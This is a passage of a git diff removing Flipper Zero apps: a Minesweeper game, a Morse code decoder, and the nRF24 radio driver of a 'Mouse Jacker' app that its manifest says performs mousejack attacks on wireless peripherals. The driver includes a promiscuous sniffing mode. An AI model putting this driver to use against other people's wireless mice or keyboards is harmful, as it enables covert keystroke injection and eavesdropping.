if(minesweeper_state->cursor_y >= PLAYFIELD_HEIGHT) { - minesweeper_state->cursor_y = 0; - } - furi_mutex_release(minesweeper_state->mutex); - break; - case InputKeyRight: - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); - minesweeper_state->cursor_x++; - if(minesweeper_state->cursor_x >= PLAYFIELD_WIDTH) { - minesweeper_state->cursor_x = 0; - } - furi_mutex_release(minesweeper_state->mutex); - break; - case InputKeyLeft: - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); - minesweeper_state->cursor_x--; - if(minesweeper_state->cursor_x < 0) { - minesweeper_state->cursor_x = PLAYFIELD_WIDTH - 1; - } - furi_mutex_release(minesweeper_state->mutex); - break; - case InputKeyOk: - if(!minesweeper_state->game_started) { - setup_playfield(minesweeper_state); - minesweeper_state->game_started = true; - } - if(!play_move( - minesweeper_state, - minesweeper_state->cursor_x, - minesweeper_state->cursor_y)) { - // ooops. looks like we hit a mine! - if(game_lost(minesweeper_state)) { - // player wants to restart. - setup_playfield(minesweeper_state); - } else { - // player wants to exit :( - processing = false; - } - } else { - // check win condition. - if(minesweeper_state->fields_cleared == - (PLAYFIELD_HEIGHT * PLAYFIELD_WIDTH) - MINECOUNT) { - if(game_won(minesweeper_state)) { - //player wants to restart - setup_playfield(minesweeper_state); - } else { - processing = false; - } - } - } - break; - case InputKeyBack: - // Exit the plugin - processing = false; - break; - default: - break; - } - } else if(event.input.type == InputTypeLong) { - // hold events - FURI_LOG_D("Minesweeper", "Got a long press!"); - switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - break; - case InputKeyOk: - FURI_LOG_D("Minesweeper", "Toggling flag"); - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); - place_flag(minesweeper_state); - furi_mutex_release(minesweeper_state->mutex); - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } - } - view_port_update(view_port); - } - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_DIALOGS); - furi_record_close(RECORD_NOTIFICATION); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(minesweeper_state->mutex); - free(minesweeper_state); - - return 0; -} diff --git a/applications/external/minesweeper/minesweeper_icon.png b/applications/external/minesweeper/minesweeper_icon.png deleted file mode 100644 index 8a7cd9468..000000000 Binary files a/applications/external/minesweeper/minesweeper_icon.png and /dev/null differ diff --git a/applications/external/morse_code/application.fam b/applications/external/morse_code/application.fam deleted file mode 100644 index 9e73ce710..000000000 --- a/applications/external/morse_code/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="morse_code", - name="Morse Code", - apptype=FlipperAppType.EXTERNAL, - entry_point="morse_code_app", - requires=[ - "gui", - ], - stack_size=1 * 1024, - order=20, - fap_icon="morse_code_10px.png", - fap_category="Media", - fap_author="@wh00hw & @xMasterX", - fap_version="1.0", - fap_description="Simple Morse Code parser", -) \ No newline at end of file diff --git a/applications/external/morse_code/morse_code.c b/applications/external/morse_code/morse_code.c deleted file mode 100644 index 3f96969e7..000000000 --- a/applications/external/morse_code/morse_code.c +++ /dev/null @@ -1,166 +0,0 @@ -#include "morse_code_worker.h" -#include -#include -#include -#include -#include -#include -#include - -static const float MORSE_CODE_VOLUMES[] = {0, .25, .5, .75, 1}; - -typedef struct { - FuriString* words; - uint8_t volume; - uint32_t dit_delta; -} MorseCodeModel; - -typedef struct { - MorseCodeModel* model; - FuriMutex** model_mutex; - - FuriMessageQueue* input_queue; - - ViewPort* view_port; - Gui* gui; - - MorseCodeWorker* worker; -} MorseCode; - -static void render_callback(Canvas* const canvas, void* ctx) { - MorseCode* morse_code = ctx; - furi_check(furi_mutex_acquire(morse_code->model_mutex, FuriWaitForever) == FuriStatusOk); - // border around the edge of the screen - canvas_set_font(canvas, FontPrimary); - - //write words - elements_multiline_text_aligned( - canvas, 64, 30, AlignCenter, AlignCenter, furi_string_get_cstr(morse_code->model->words)); - - // volume view_port - uint8_t vol_bar_x_pos = 124; - uint8_t vol_bar_y_pos = 0; - const uint8_t volume_h = (64 / (COUNT_OF(MORSE_CODE_VOLUMES) - 1)) * morse_code->model->volume; - canvas_draw_frame(canvas, vol_bar_x_pos, vol_bar_y_pos, 4, 64); - canvas_draw_box(canvas, vol_bar_x_pos, vol_bar_y_pos + (64 - volume_h), 4, volume_h); - - //dit bpms - FuriString* ditbpm = furi_string_alloc_printf("Dit: %ld ms", morse_code->model->dit_delta); - canvas_draw_str_aligned(canvas, 0, 10, AlignLeft, AlignCenter, furi_string_get_cstr(ditbpm)); - furi_string_free(ditbpm); - - //button info - elements_button_center(canvas, "Press/Hold"); - furi_mutex_release(morse_code->model_mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - MorseCode* morse_code = ctx; - furi_message_queue_put(morse_code->input_queue, input_event, FuriWaitForever); -} - -static void morse_code_worker_callback(FuriString* words, void* context) { - MorseCode* morse_code = context; - furi_check(furi_mutex_acquire(morse_code->model_mutex, FuriWaitForever) == FuriStatusOk); - furi_string_set(morse_code->model->words, words); - furi_mutex_release(morse_code->model_mutex); - view_port_update(morse_code->view_port); -} - -MorseCode* morse_code_alloc() { - MorseCode* instance = malloc(sizeof(MorseCode)); - - instance->model = malloc(sizeof(MorseCodeModel)); - instance->model->words = furi_string_alloc_set_str(""); - instance->model->volume = 3; - instance->model->dit_delta = 150; - instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - instance->worker = morse_code_worker_alloc(); - - morse_code_worker_set_callback(instance->worker, morse_code_worker_callback, instance); - - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, render_callback, instance); - view_port_input_callback_set(instance->view_port, input_callback, instance); - - // Open GUI and register view_port - instance->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - return instance; -} - -void morse_code_free(MorseCode* instance) { - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close(RECORD_GUI); - view_port_free(instance->view_port); - - morse_code_worker_free(instance->worker); - - furi_message_queue_free(instance->input_queue); - - furi_mutex_free(instance->model_mutex); - - furi_string_free(instance->model->words); - free(instance->model); - free(instance); -} - -int32_t morse_code_app() { - MorseCode* morse_code = morse_code_alloc(); - InputEvent input; - - morse_code_worker_start(morse_code->worker); - morse_code_worker_set_volume( - morse_code->worker, MORSE_CODE_VOLUMES[morse_code->model->volume]); - morse_code_worker_set_dit_delta(morse_code->worker, morse_code->model->dit_delta); - - while(furi_message_queue_get(morse_code->input_queue, &input, FuriWaitForever) == - FuriStatusOk) { - furi_check(furi_mutex_acquire(morse_code->model_mutex, FuriWaitForever) == FuriStatusOk); - if(input.key == InputKeyBack && input.type == InputTypeLong) { - furi_mutex_release(morse_code->model_mutex); - break; - } else if(input.key == InputKeyBack && input.type == InputTypeShort) { - morse_code_worker_reset_text(morse_code->worker); - furi_string_reset(morse_code->model->words); - } else if(input.key == InputKeyOk) { - if(input.type == InputTypePress) - morse_code_worker_play(morse_code->worker, true); - else if(input.type == InputTypeRelease) - morse_code_worker_play(morse_code->worker, false); - } else if(input.key == InputKeyUp && input.type == InputTypePress) { - if(morse_code->model->volume < COUNT_OF(MORSE_CODE_VOLUMES) - 1) - morse_code->model->volume++; - morse_code_worker_set_volume( - morse_code->worker, MORSE_CODE_VOLUMES[morse_code->model->volume]); - } else if(input.key == InputKeyDown && input.type == InputTypePress) { - if(morse_code->model->volume > 0) morse_code->model->volume--; - morse_code_worker_set_volume( - morse_code->worker, MORSE_CODE_VOLUMES[morse_code->model->volume]); - } else if(input.key == InputKeyLeft && input.type == InputTypePress) { - if(morse_code->model->dit_delta > 10) morse_code->model->dit_delta -= 10; - morse_code_worker_set_dit_delta(morse_code->worker, morse_code->model->dit_delta); - } else if(input.key == InputKeyRight && input.type == InputTypePress) { - if(morse_code->model->dit_delta >= 10) morse_code->model->dit_delta += 10; - morse_code_worker_set_dit_delta(morse_code->worker, morse_code->model->dit_delta); - } - - FURI_LOG_D( - "Input", - "%s %s %ld", - input_get_key_name(input.key), - input_get_type_name(input.type), - input.sequence); - - furi_mutex_release(morse_code->model_mutex); - view_port_update(morse_code->view_port); - } - - morse_code_worker_stop(morse_code->worker); - morse_code_free(morse_code); - return 0; -} \ No newline at end of file diff --git a/applications/external/morse_code/morse_code_10px.png b/applications/external/morse_code/morse_code_10px.png deleted file mode 100644 index 087c5b239..000000000 Binary files a/applications/external/morse_code/morse_code_10px.png and /dev/null differ diff --git a/applications/external/morse_code/morse_code_worker.c b/applications/external/morse_code/morse_code_worker.c deleted file mode 100644 index 47896b91a..000000000 --- a/applications/external/morse_code/morse_code_worker.c +++ /dev/null @@ -1,183 +0,0 @@ -#include "morse_code_worker.h" -#include -#include - -#define TAG "MorseCodeWorker" - -#define MORSE_CODE_VERSION 0 - -//A-Z0-1 -const char morse_array[36][6] = {".-", "-...", "-.-.", "-..", ".", "..-.", - "--.", "....", "..", ".---", "-.-", ".-..", - "--", "-.", "---", ".--.", "--.-", ".-.", - "...", "-", "..-", "...-", ".--", "-..-", - "-.--", "--..", ".----", "..---", "...--", "....-", - ".....", "-....", "--...", "---..", "----.", "-----"}; -const char symbol_array[36] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', - 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', - 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'}; - -struct MorseCodeWorker { - FuriThread* thread; - MorseCodeWorkerCallback callback; - void* callback_context; - bool is_running; - bool play; - float volume; - uint32_t dit_delta; - FuriString* buffer; - FuriString* words; -}; - -void morse_code_worker_fill_buffer(MorseCodeWorker* instance, uint32_t duration) { - FURI_LOG_D("MorseCode: Duration", "%ld", duration); - if(duration <= instance->dit_delta) - furi_string_push_back(instance->buffer, *DOT); - else if(duration <= (instance->dit_delta * 3)) - furi_string_push_back(instance->buffer, *LINE); - else - furi_string_reset(instance->buffer); - if(furi_string_size(instance->buffer) > 5) furi_string_reset(instance->buffer); - FURI_LOG_D("MorseCode: Buffer", "%s", furi_string_get_cstr(instance->buffer)); -} - -void morse_code_worker_fill_letter(MorseCodeWorker* instance) { - if(furi_string_size(instance->words) > 63) furi_string_reset(instance->words); - for(size_t i = 0; i < sizeof(morse_array); i++) { - if(furi_string_cmp_str(instance->buffer, morse_array[i]) == 0) { - furi_string_push_back(instance->words, symbol_array[i]); - break; - } - } - furi_string_reset(instance->buffer); - FURI_LOG_D("MorseCode: Words", "%s", furi_string_get_cstr(instance->words)); -} - -static int32_t morse_code_worker_thread_callback(void* context) { - furi_assert(context); - MorseCodeWorker* instance = context; - bool was_playing = false; - uint32_t start_tick = 0; - uint32_t end_tick = 0; - bool pushed = true; - bool spaced = true; - while(instance->is_running) { - furi_delay_ms(SLEEP); - - if(instance->play) { - if(!was_playing) { - start_tick = furi_get_tick(); - if(furi_hal_speaker_acquire(1000)) { - furi_hal_speaker_start(FREQUENCY, instance->volume); - } - was_playing = true; - } - } else { - if(was_playing) { - pushed = false; - spaced = false; - if(furi_hal_speaker_is_mine()) { - furi_hal_speaker_stop(); - furi_hal_speaker_release(); - } - end_tick = furi_get_tick(); - was_playing = false; - morse_code_worker_fill_buffer(instance, end_tick - start_tick); - start_tick = 0; - } - } - if(!pushed) { - if(end_tick + (instance->dit_delta * 3) < furi_get_tick()) { - //NEW LETTER - if(!furi_string_empty(instance->buffer)) { - morse_code_worker_fill_letter(instance); - if(instance->callback) - instance->callback(instance->words, instance->callback_context); - } else { - spaced = true; - } - pushed = true; - } - } - if(!spaced) { - if(end_tick + (instance->dit_delta * 7) < furi_get_tick()) { - //NEW WORD - furi_string_push_back(instance->words, *SPACE); - if(instance->callback) - instance->callback(instance->words, instance->callback_context); - spaced = true; - } - } - } - return 0; -} - -MorseCodeWorker* morse_code_worker_alloc() { - MorseCodeWorker* instance = malloc(sizeof(MorseCodeWorker)); - instance->thread = furi_thread_alloc(); - furi_thread_set_name(instance->thread, "MorseCodeWorker"); - furi_thread_set_stack_size(instance->thread, 1024); - furi_thread_set_context(instance->thread, instance); - furi_thread_set_callback(instance->thread, morse_code_worker_thread_callback); - instance->play = false; - instance->volume = 1.0f; - instance->dit_delta = 150; - instance->buffer = furi_string_alloc_set_str(""); - instance->words = furi_string_alloc_set_str(""); - return instance; -} - -void morse_code_worker_free(MorseCodeWorker* instance) { - furi_assert(instance); - furi_string_free(instance->buffer); - furi_string_free(instance->words); - furi_thread_free(instance->thread); - free(instance); -} - -void morse_code_worker_set_callback( - MorseCodeWorker* instance, - MorseCodeWorkerCallback callback, - void* context) { - furi_assert(instance); - instance->callback = callback; - instance->callback_context = context; -} - -void morse_code_worker_play(MorseCodeWorker* instance, bool play) { - furi_assert(instance); - instance->play = play; -} - -void morse_code_worker_set_volume(MorseCodeWorker* instance, float level) { - furi_assert(instance); - instance->volume = level; -} - -void morse_code_worker_set_dit_delta(MorseCodeWorker* instance, uint32_t delta) { - furi_assert(instance); - instance->dit_delta = delta; -} - -void morse_code_worker_reset_text(MorseCodeWorker* instance) { - furi_assert(instance); - furi_string_reset(instance->buffer); - furi_string_reset(instance->words); -} - -void morse_code_worker_start(MorseCodeWorker* instance) { - furi_assert(instance); - furi_assert(instance->is_running == false); - instance->is_running = true; - furi_thread_start(instance->thread); - FURI_LOG_D("MorseCode: Start", "is Running"); -} - -void morse_code_worker_stop(MorseCodeWorker* instance) { - furi_assert(instance); - furi_assert(instance->is_running == true); - instance->play = false; - instance->is_running = false; - furi_thread_join(instance->thread); - FURI_LOG_D("MorseCode: Stop", "Stop"); -} diff --git a/applications/external/morse_code/morse_code_worker.h b/applications/external/morse_code/morse_code_worker.h deleted file mode 100644 index e880c9579..000000000 --- a/applications/external/morse_code/morse_code_worker.h +++ /dev/null @@ -1,36 +0,0 @@ -#pragma once - -#include -#include -#include - -#define FREQUENCY 261.63f -#define SLEEP 10 -#define DOT "." -#define LINE "-" -#define SPACE " " - -typedef void (*MorseCodeWorkerCallback)(FuriString* buffer, void* context); - -typedef struct MorseCodeWorker MorseCodeWorker; - -MorseCodeWorker* morse_code_worker_alloc(); - -void morse_code_worker_free(MorseCodeWorker* instance); - -void morse_code_worker_set_callback( - MorseCodeWorker* instance, - MorseCodeWorkerCallback callback, - void* context); - -void morse_code_worker_start(MorseCodeWorker* instance); - -void morse_code_worker_stop(MorseCodeWorker* instance); - -void morse_code_worker_play(MorseCodeWorker* instance, bool play); - -void morse_code_worker_reset_text(MorseCodeWorker* instance); - -void morse_code_worker_set_volume(MorseCodeWorker* instance, float level); - -void morse_code_worker_set_dit_delta(MorseCodeWorker* instance, uint32_t delta); diff --git a/applications/external/mousejacker/application.fam b/applications/external/mousejacker/application.fam deleted file mode 100644 index 1e16538c2..000000000 --- a/applications/external/mousejacker/application.fam +++ /dev/null @@ -1,26 +0,0 @@ -App( - appid="nrf24_mouse_jacker", - name="[NRF24] Mouse Jacker", - apptype=FlipperAppType.EXTERNAL, - entry_point="mousejacker_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - order=60, - fap_icon="mouse_10px.png", - fap_category="GPIO", - fap_author="@mothball187 & @xMasterX", - fap_version="1.0", - fap_description="App works with NRF24 Sniffer app to perform mousejack attacks", - fap_icon_assets="images", - fap_private_libs=[ - Lib( - name="nrf24", - sources=[ - "nrf24.c", - ], - ), - ], -) diff --git a/applications/external/mousejacker/images/badusb_10px.png b/applications/external/mousejacker/images/badusb_10px.png deleted file mode 100644 index 037474aa3..000000000 Binary files a/applications/external/mousejacker/images/badusb_10px.png and /dev/null differ diff --git a/applications/external/mousejacker/images/sub1_10px.png b/applications/external/mousejacker/images/sub1_10px.png deleted file mode 100644 index 5a25fdf4e..000000000 Binary files a/applications/external/mousejacker/images/sub1_10px.png and /dev/null differ diff --git a/applications/external/mousejacker/lib/nrf24/nrf24.c b/applications/external/mousejacker/lib/nrf24/nrf24.c deleted file mode 100644 index 67c5dde1c..000000000 --- a/applications/external/mousejacker/lib/nrf24/nrf24.c +++ /dev/null @@ -1,530 +0,0 @@ -#include "nrf24.h" -#include -#include -#include -#include -#include - -void nrf24_init() { - furi_hal_spi_bus_handle_init(nrf24_HANDLE); - furi_hal_spi_acquire(nrf24_HANDLE); - furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh); - furi_hal_gpio_write(nrf24_CE_PIN, false); -} - -void nrf24_deinit() { - furi_hal_spi_release(nrf24_HANDLE); - furi_hal_spi_bus_handle_deinit(nrf24_HANDLE); - furi_hal_gpio_write(nrf24_CE_PIN, false); - furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); -} - -void nrf24_spi_trx( - FuriHalSpiBusHandle* handle, - uint8_t* tx, - uint8_t* rx, - uint8_t size, - uint32_t timeout) { - UNUSED(timeout); - furi_hal_gpio_write(handle->cs, false); - furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT); - furi_hal_gpio_write(handle->cs, true); -} - -uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) { - uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data}; - uint8_t rx[2] = {0}; - nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t - nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) { - uint8_t tx[size + 1]; - uint8_t rx[size + 1]; - memset(rx, 0, size + 1); - tx[0] = W_REGISTER | (REGISTER_MASK & reg); - memcpy(&tx[1], data, size); - nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) { - uint8_t tx[size + 1]; - uint8_t rx[size + 1]; - memset(rx, 0, size + 1); - tx[0] = R_REGISTER | (REGISTER_MASK & reg); - memset(&tx[1], 0, size); - nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); - memcpy(data, &rx[1], size); - return rx[0]; -} - -uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) { - uint8_t tx[] = {FLUSH_RX}; - uint8_t rx[] = {0}; - nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) { - uint8_t tx[] = {FLUSH_TX}; - uint8_t rx[] = {0}; - nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) { - uint8_t maclen; - nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1); - maclen &= 3; - return maclen + 2; -} - -uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) { - assert(maclen > 1 && maclen < 6); - uint8_t status = 0; - status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2); - return status; -} - -uint8_t nrf24_status(FuriHalSpiBusHandle* handle) { - uint8_t status; - uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)}; - nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT); - return status; -} - -uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) { - uint8_t setup = 0; - uint32_t rate = 0; - nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1); - setup &= 0x28; - if(setup == 0x20) - rate = 250000; // 250kbps - else if(setup == 0x08) - rate = 2000000; // 2Mbps - else if(setup == 0x00) - rate = 1000000; // 1Mbps - - return rate; -} - -uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) { - uint8_t r6 = 0; - uint8_t status = 0; - if(!rate) rate = 2000000; - - nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register - r6 = r6 & (~0x28); // Clear rate fields. - if(rate == 2000000) - r6 = r6 | 0x08; - else if(rate == 1000000) - r6 = r6; - else if(rate == 250000) - r6 = r6 | 0x20; - - status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate. - return status; -} - -uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) { - uint8_t channel = 0; - nrf24_read_reg(handle, REG_RF_CH, &channel, 1); - return channel; -} - -uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) { - uint8_t status; - status = nrf24_write_reg(handle, REG_RF_CH, chan); - return status; -} - -uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) { - uint8_t size = 0; - uint8_t status = 0; - size = nrf24_get_maclen(handle); - status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size); - return status; -} - -uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) { - uint8_t status = 0; - uint8_t clearmac[] = {0, 0, 0, 0, 0}; - nrf24_set_maclen(handle, size); - nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5); - status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size); - return status; -} - -uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) { - uint8_t size = 0; - uint8_t status = 0; - size = nrf24_get_maclen(handle); - status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size); - return status; -} - -uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) { - uint8_t status = 0; - uint8_t clearmac[] = {0, 0, 0, 0, 0}; - nrf24_set_maclen(handle, size); - nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5); - status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size); - return status; -} - -uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) { - uint8_t len = 0; - nrf24_read_reg(handle, RX_PW_P0, &len, 1); - return len; -} - -uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) { - uint8_t status = 0; - status = nrf24_write_reg(handle, RX_PW_P0, len); - return status; -} - -uint8_t - nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) { - uint8_t status = 0; - uint8_t size = 0; - uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0}; - uint8_t rx_pl_wid[] = {0, 0}; - uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command - uint8_t tmp_packet[33] = {0}; - - status = nrf24_status(handle); - - if(status & 0x40) { - if(full) - size = nrf24_get_packetlen(handle); - else { - nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT); - size = rx_pl_wid[1]; - } - - tx_cmd[0] = R_RX_PAYLOAD; - nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT); - nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit. - memcpy(packet, &tmp_packet[1], size); - } else if(status == 0) { - nrf24_flush_rx(handle); - nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit. - } - - *packetsize = size; - return status; -} - -uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) { - uint8_t status = 0; - uint8_t tx[size + 1]; - uint8_t rx[size + 1]; - memset(tx, 0, size + 1); - memset(rx, 0, size + 1); - - if(!ack) - tx[0] = W_TX_PAYLOAD_NOACK; - else - tx[0] = W_TX_PAYLOAD; - - memcpy(&tx[1], payload, size); - nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); - nrf24_set_tx_mode(handle); - - while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle); - - if(status & MAX_RT) nrf24_flush_tx(handle); - - nrf24_set_idle(handle); - nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT); - return status & TX_DS; -} - -uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg = cfg | 2; - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - furi_delay_ms(5000); - return status; -} - -uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg &= 0xfc; // clear bottom two bits to power down the radio - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - //nr204_write_reg(handle, REG_EN_RXADDR, 0x0); - furi_hal_gpio_write(nrf24_CE_PIN, false); - return status; -} - -uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - //status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg |= 0x03; // PWR_UP, and PRIM_RX - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - //nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1 - furi_hal_gpio_write(nrf24_CE_PIN, true); - furi_delay_ms(2000); - return status; -} - -uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - furi_hal_gpio_write(nrf24_CE_PIN, false); - nrf24_write_reg(handle, REG_STATUS, 0x30); - //status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg &= 0xfe; // disable PRIM_RX - cfg |= 0x02; // PWR_UP - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - furi_hal_gpio_write(nrf24_CE_PIN, true); - furi_delay_ms(2); - return status; -} - -void nrf24_configure( - FuriHalSpiBusHandle* handle, - uint8_t rate, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t channel, - bool noack, - bool disable_aa) { - assert(channel <= 125); - assert(rate == 1 || rate == 2); - if(rate == 2) - rate = 8; // 2Mbps - else - rate = 0; // 1Mbps - - nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF - nrf24_set_idle(handle); - nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts - if(disable_aa) - nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst - else - nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst - - nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes - if(noack) - nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack - else { - nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC - nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack - nrf24_write_reg( - handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay - } - - nrf24_set_idle(handle); - nrf24_flush_rx(handle); - nrf24_flush_tx(handle); - - if(maclen) nrf24_set_maclen(handle, maclen); - if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen); - if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen); - - nrf24_write_reg(handle, REG_RF_CH, channel); - nrf24_write_reg(handle, REG_RF_SETUP, rate); - furi_delay_ms(200); -} - -void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) { - //uint8_t preamble[] = {0x55, 0x00}; // little endian - uint8_t preamble[] = {0xAA, 0x00}; // little endian - //uint8_t preamble[] = {0x00, 0x55}; // little endian - //uint8_t preamble[] = {0x00, 0xAA}; // little endian - nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF - nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts - nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst - nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst - nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack - nrf24_set_maclen(handle, 2); // shortest address - nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything - nrf24_set_packetlen(handle, 32); // set max packet length - nrf24_set_idle(handle); - nrf24_flush_rx(handle); - nrf24_flush_tx(handle); - nrf24_write_reg(handle, REG_RF_CH, channel); - nrf24_write_reg(handle, REG_RF_SETUP, rate); - - // prime for RX, no checksum - nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC - furi_hal_gpio_write(nrf24_CE_PIN, true); - furi_delay_ms(100); -} - -void hexlify(uint8_t* in, uint8_t size, char* out) { - memset(out, 0, size * 2); - for(int i = 0; i < size; i++) - snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); -} - -uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) { - uint64_t ret = 0; - for(int i = 0; i < size; i++) - if(bigendian) - ret |= bytes[i] << ((size - 1 - i) * 8); - else - ret |= bytes[i] << (i * 8); - - return ret; -} - -void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) { - for(int i = 0; i < 8; i++) { - if(bigendian) - out[i] = (val >> ((7 - i) * 8)) & 0xff; - else - out[i] = (val >> (i * 8)) & 0xff; - } -} - -uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) { - uint32_t ret = 0; - for(int i = 0; i < 4; i++) - if(bigendian) - ret |= bytes[i] << ((3 - i) * 8); - else - ret |= bytes[i] << (i * 